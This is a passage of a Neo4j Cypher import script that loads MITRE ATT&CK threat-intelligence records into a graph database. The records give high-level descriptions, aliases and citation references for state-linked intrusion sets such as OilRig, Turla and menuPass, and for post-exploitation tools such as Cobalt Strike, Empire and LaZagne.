China. (Citation: McAfee Night Dragon)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Night Dragon", modified:"2019-03-25T14:36:29.638Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", goals:[], external_references:["58dc947d-cbcb-4293-ba16-ad21c5602ed6", "6d06918a-2ac0-4150-8aee-ed34b50b7896", "0e8a8aa1-f4df-4a6a-a184-dd4546863106"]}}, {_id:9511, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["OilRig", "IRN2", "HELIX KITTEN", "APT34"], first_seen:"", last_seen:"", created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_version\":\"1.2\",\"x_mitre_contributors\":[\"Robert Falcone\",\"Bryan Lee\"]}", description:"[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"OilRig", modified:"2019-10-15T17:48:09.182Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", goals:[], external_references:["3661fe44-8e4a-4ab5-9598-b472fd4b4a19", "9adf0393-3a53-4f29-a336-e48721ab347d", "d0ee2e60-c745-42dc-a7fc-61e8603c72cf", "c7fc5896-c0e6-46b1-922c-e0603b5b1608", "549a91e8-e135-4628-ad66-01199a7f560d", "0fad8f08-76da-4fa7-9737-3adacf72cb8e", "b25d963e-dfb8-4d05-be93-aeb12c4c7729", "00e4bd68-48bd-4d76-8fe4-3e076507dc82", "825b67d5-4e1b-42c1-91b6-207cad04dd6c", "ff2fc911-2310-4062-b733-26dac64ae92e", "4065b349-aac9-4cdb-b54d-f6ad2adefce3", "e6d465a6-767a-4b22-ac17-12da6d86850b", "898e7bbd-b042-4bc8-87b8-0f9d0c89afa0"]}}, {_id:9529, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["PLATINUM"], first_seen:"", last_seen:"", created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_version\":\"1.1\",\"x_mitre_contributors\":[\"Ryan Becwar\"]}", description:"[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"PLATINUM", modified:"2019-05-10T12:14:31.942Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", goals:[], external_references:["1e8f97de-2206-4717-9ed3-9470d6cb1684", "30045896-74b3-4e8b-8c87-f2109cf8b197", "1f68576b-00ea-4c27-a841-527681569318"]}}, {_id:9538, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Patchwork", "Dropping Elephant", "Chinastrats", "MONSOON", "Operation Hangover"], last_seen:"", created:"2017-05-31T21:32:07.145Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Patchwork", modified:"2019-07-11T13:53:04.105Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", goals:[], external_references:["d6cfcf9e-b883-401e-a14e-21d6ccf48238", "659c7662-8929-4fc5-84cb-3095c19196ef", "4ddf5a7f-96ee-4a1e-8490-49ac5b94b154", "fbc18bee-385f-4546-96ba-5680043a9ab0", "fad3aeba-8893-41b7-8382-888b0395278f", "320bc359-0135-40d4-9815-5a1c0c5b9954", "0e8fb32c-3adf-48d3-8689-d4b9f318bda4", "116e6351-40be-4c3d-80da-d5b37c6967c1", "ab3196cc-2ba7-451a-ae14-60087f22c2a8", "aa52bbf3-e591-4507-ac25-d5fd669c5bf7", "1c12545a-4e42-42bd-b557-c62aab5f6e86", "618b14cf-c10a-4028-8f04-4117cd2e5a88", "5a03f6df-b54e-44f1-97ed-506c6d880452", "1eef9058-d57a-4eb0-b969-7624655cb6b4"]}}, {_id:9558, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Poseidon Group"], last_seen:"", created:"2017-05-31T21:32:04.179Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Poseidon Group", modified:"2018-10-17T00:14:20.652Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", goals:[], external_references:["83c56610-e6b2-4689-88be-b8b907cdf45d", "a80a214e-4777-48c3-907c-c37fafd3e67f", "f2f35901-895a-40c6-921c-9202dfa190c0"]}}, {_id:9586, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Scarlet Mimic"], last_seen:"", created:"2017-05-31T21:32:00.677Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Scarlet Mimic", modified:"2019-04-22T15:06:12.560Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", goals:[], external_references:["ef789381-facc-4233-b11d-7e458838bf32", "b11358fa-1244-484d-b77c-8143fa0cbc55", "e506b6b2-3cf7-424f-80d8-6837f5539f54"]}}, {_id:9600, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Soft Cell"], first_seen:"", last_seen:"", created:"2019-07-18T20:47:50.050Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Cybereason Nocturnus, @nocturnus\"]}", description:"Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Soft Cell", modified:"2019-07-22T15:49:28.637Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", goals:[], external_references:["caf6c620-bb9c-4053-a36f-71d731d35a85", "19a2a79d-5c3d-43a5-a1a8-5f7adcc406b4", "c19aa55d-912a-4e00-883b-6cf3c03345f3"]}}, {_id:9604, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Sowbug"], first_seen:"", last_seen:"", created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Alan Neville, @abnev\"]}", description:"[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Sowbug", modified:"2019-03-25T16:57:02.658Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", goals:[], external_references:["91b157ae-7d1c-442a-8bae-26ee052593d1", "b9a3095f-0665-4168-ab9c-aec7dd7659eb", "ebbc7e67-8eab-4920-9d1c-295ef2ad11c6"]}}, {_id:9612, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Stolen Pencil"], last_seen:"", created:"2019-02-05T17:56:55.233Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Stolen Pencil", modified:"2019-06-24T19:09:46.086Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", goals:[], external_references:["2534b656-d18c-48a7-9605-6766c0702439", "c45c03f4-a647-4035-946d-c00249bcf367", "29621fac-c0c0-43e5-995b-ad11149ac7eb"]}}, {_id:9632, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["TA505"], last_seen:"", created:"2019-05-28T15:54:17.213Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"TA505", modified:"2019-06-24T19:11:41.060Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", goals:[], external_references:["068fde84-44fd-433f-89f9-5c1b98b63326", "579c756d-467e-4306-b2e0-59a8e7c7dc0d", "5f5932bf-bcc3-4701-92f8-68d9f2ebb8a7", "e9cfa29e-e76c-4a4a-8e99-b3da94efca5d"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:intrusion_set:SDO;
UNWIND [{_id:9637, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["TEMP.Veles", "XENOTIME"], last_seen:"", created:"2019-04-16T15:14:38.533Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"TEMP.Veles", modified:"2019-04-29T18:59:16.079Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", goals:[], external_references:["70491894-0a5b-4866-aae1-a26ac0cd0b31", "5c4c9957-0f7d-402d-8e71-917c0a49cfdb", "47f04841-3452-4082-afa7-e560915f3db7", "887476d2-7276-47df-9e9f-c49d0dc5e5b8", "286c7924-49a3-40c3-bb6b-0bbe84555555", "f09d8b21-c3ec-4f13-8c06-9a6078a18a30", "3dce6500-15dc-4089-9517-4861abd8e0fc", "a2dad211-2f25-41ef-bbbb-710acddc2bb4", "e4fb1772-e6b8-4d8e-8648-264257abbb4b"]}}, {_id:9659, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Threat Group-3390", "TG-3390", "Emissary Panda", "BRONZE UNION", "APT27", "Iron Tiger", "LuckyMouse"], first_seen:"", last_seen:"", created:"2017-05-31T21:31:58.518Z", custom:"{\"x_mitre_version\":\"1.2\"}", description:"[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Threat Group-3390", modified:"2019-10-15T20:16:11.552Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", goals:[], external_references:["0603b29e-c1d0-480c-9cb1-d563b9a50733", "545ff271-9a48-4613-b5b4-97b33ce2b0bd", "bb4d9250-ac01-470b-927a-f70cfd803218", "93802e3a-9e74-47b0-9d14-9662f35fa6c0", "6c33b3db-6332-4bac-9fb0-8a9dea22bbf0", "d90f7ad4-98d9-4235-970c-3f2f162c4c22", "b2390df5-2ab8-452c-a5a1-7951cbcf498d", "8b84d23c-9f67-43f4-a14d-d8c9954c55cd", "821c9128-625d-4788-8d52-bedd5ff8a09d", "f82af953-766d-42d2-a0da-35bf564aeed7", "f37a3190-bf72-4a8a-86dc-dde6fec309c2", "8c276cce-e13c-49fb-afcc-ae225bfcbc70", "d2a942c6-8856-42e4-9bd1-848f896baa81", "38476f19-95b7-4335-9e6a-429b0aa37c21", "def8889e-b526-4471-a49c-dba618625749"]}}, {_id:9679, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Tropic Trooper", "KeyBoy"], first_seen:"", last_seen:"", created:"2019-01-29T20:17:48.717Z", custom:"{\"x_mitre_version\":\"1.2\",\"x_mitre_contributors\":[\"Edward Millington\",\"Bart Parys\"]}", description:"[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Tropic Trooper", modified:"2019-10-14T16:17:28.407Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", goals:[], external_references:["cbea5195-d012-4be8-8591-e6d9a1c9cbf0", "43cb236a-a2b5-453c-80c5-aeb162cb3013", "a882c40f-a594-43ca-8e64-a50ba50477e2", "2c7c7c48-9e3a-4148-904f-b06c1b3c252e", "d0ae20fe-39d1-4ca6-96f7-3f3d4cf93b72"]}}, {_id:9685, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Turla", "Waterbug", "WhiteBear", "VENOMOUS BEAR", "Snake", "Krypton"], first_seen:"", last_seen:"", created:"2017-05-31T21:31:49.816Z", custom:"{\"x_mitre_version\":\"1.2\",\"x_mitre_contributors\":[\"Edward Millington\"]}", description:"[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Turla", modified:"2019-07-14T21:04:44.442Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", goals:[], external_references:["f5405d0e-bd17-44cd-ab47-59f50be6ab56", "bcc4b1cc-ae69-4510-9a2a-2e556002cf87", "9e23b4c0-06cf-4bf5-8c43-b90b1d95c20a", "07c12992-6ea1-4c45-9259-661ee83a4da1", "1c8a7af7-cbe5-4362-863f-c25a6db51156", "5a0b2062-ca4e-4b4d-90a5-2fc022ac37dc", "ae0c11c3-03fa-4dfd-8a5b-fa758e939c81", "c9169b48-f7ba-4d40-8ffc-5dc3396b1c17", "e87291f5-2f3e-45ca-9171-6617de6ed8a5", "eeb8a193-fa05-49c6-8d83-157fbc4f2423", "23f4cd23-3f23-4beb-86d8-1b3e9b83a3bd", "c3335569-1696-44a1-8b01-386dc45529ee", "70989d95-7160-4887-ab6f-c1592fb51c9b", "cfaf8e15-1dc0-4cc0-aecf-fef7b7bf896a"]}}, {_id:9700, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["WIRTE"], last_seen:"", created:"2019-05-24T17:02:44.226Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Lab52 by S2 Grupo\"]}", description:"[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"WIRTE", modified:"2019-06-20T15:30:38.517Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", goals:[], external_references:["7e20d3a1-79cd-4b10-8c38-5da1f335bb09", "c5e6cd08-ed2a-4c4e-a989-2312dc3d2b53", "3ea92607-766f-4969-b357-dad575358cdc"]}}, {_id:9713, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["admin@338"], first_seen:"", last_seen:"", created:"2017-05-31T21:31:53.579Z", custom:"{\"x_mitre_version\":\"1.1\",\"x_mitre_contributors\":[\"Tatsuya Daitoku, Cyber Defense Institute, Inc.\"]}", description:"[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"admin@338", modified:"2019-09-04T19:48:17.418Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", goals:[], external_references:["9f878c0d-40c9-4f01-966c-ad8e5ef63a1e", "4c8fccd0-be3d-4e6d-94d5-c689c3b55e39", "4e05626c-25d0-4d8f-b83e-fc7d370dac69"]}}, {_id:9717, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["menuPass", "Stone Panda", "APT10", "Red Apollo", "CVNX", "HOGFISH"], first_seen:"", last_seen:"", created:"2017-05-31T21:32:09.054Z", custom:"{\"x_mitre_version\":\"1.3\",\"x_mitre_contributors\":[\"Edward Millington\",\"Michael Cox\"]}", description:"[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"menuPass", modified:"2019-10-14T18:54:38.216Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", goals:[], external_references:["f667fb92-76bb-4db4-86bf-8f485c7ad8d6", "b4b63d55-6f2a-4ebb-95bc-65ea92ffc352", "4c61516f-980c-410b-93d5-d123bba03a66", "8ac63e2d-c7be-43f5-b0bb-cccb0cdfe6be", "b0e355c0-c0be-4c1a-a959-ca645186117f", "8db14b88-2ff1-4ec7-a3e8-9f83ac7dae3a", "6f8cab1b-d633-4771-9b48-72871e5bfcc5", "eb9491c0-8563-4397-badb-e989723e40e9", "4219b4bc-ae70-4ec0-8547-2b2a179aff9c", "86fe0f3a-b627-4af4-8500-d220806df89d", "c3cefb4c-1bd2-4b45-b4ef-fc92ddec302a", "a22b5073-6a9c-45b2-b0de-c6132e11e3f0", "fa0eecd4-08fe-4373-b855-18cdb7c335fb", "4a7730cc-fb2b-42b5-a618-6a898a496240", "f017e7f3-3f08-4280-a73e-c8068bd68e09"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:intrusion_set:SDO;
UNWIND [{_id:11135, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Cobalt Strike\"],\"x_mitre_version\":\"1.2\",\"x_mitre_contributors\":[\"Josh Abraham\"]}", description:"[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Cobalt Strike", modified:"2019-06-06T19:04:39.061Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", external_references:["189b7cad-d4a2-478e-95a8-38cf13186443", "80667e75-7cb5-497d-a7ad-2a18784facb4"]}}, {_id:11138, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-11T14:13:40.648Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_aliases\":[\"Empire\",\"EmPyre\",\"PowerShell Empire\"],\"x_mitre_version\":\"1.0\"}", description:"[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)\n\n", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Empire", modified:"2019-06-24T17:15:43.818Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", external_references:["bfba9934-b541-4a85-920f-f381b65bdfa3", "53f0f3b0-878e-4ee2-b790-600a20a0ba64", "bb121ee2-e32c-4500-9aaa-cf3861502074", "1eeb69b8-f9b7-40ce-8eeb-b34a17f764ae", "7c14ac36-c33f-4385-bce7-e0823ef58f22", "e141197b-f430-4039-8f82-ac11e09cd3ad"]}}, {_id:11166, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-31T01:39:56.283Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Impacket\"],\"x_mitre_contributors\":[\"Jacob Wilkin, Trustwave, SpiderLabs\"]}", description:"[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Impacket", modified:"2019-04-18T21:49:12.638Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--26c87906-d750-42c5-946c-d4162c73fc7b", external_references:["76f0204c-52cc-433a-a603-289c8d1539e8", "4cab87fe-e4a2-4cea-9800-9a029dc0515e"]}}, {_id:11172, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Koadic\"],\"x_mitre_version\":\"1.0\"}", description:"[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Koadic", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", external_references:["8d0ea64d-a884-48c4-90de-2f125e9728ce", "fb1a3df6-58cc-4c6e-90c3-07c573d3f4c1", "86404e5e-86a9-44d1-af7c-1d1e9735504b", "9cfcb99a-3bed-4b6a-83bc-ff105ac4e061"]}}, {_id:11177, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T16:44:59.887Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"LaZagne\"]}", description:"[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"LaZagne", modified:"2019-06-24T16:21:13.858Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", external_references:["5b61e9ed-a8bd-4050-bc56-1829fdda4e7b", "f0f391b1-93f3-4133-9005-c4e044e061bf", 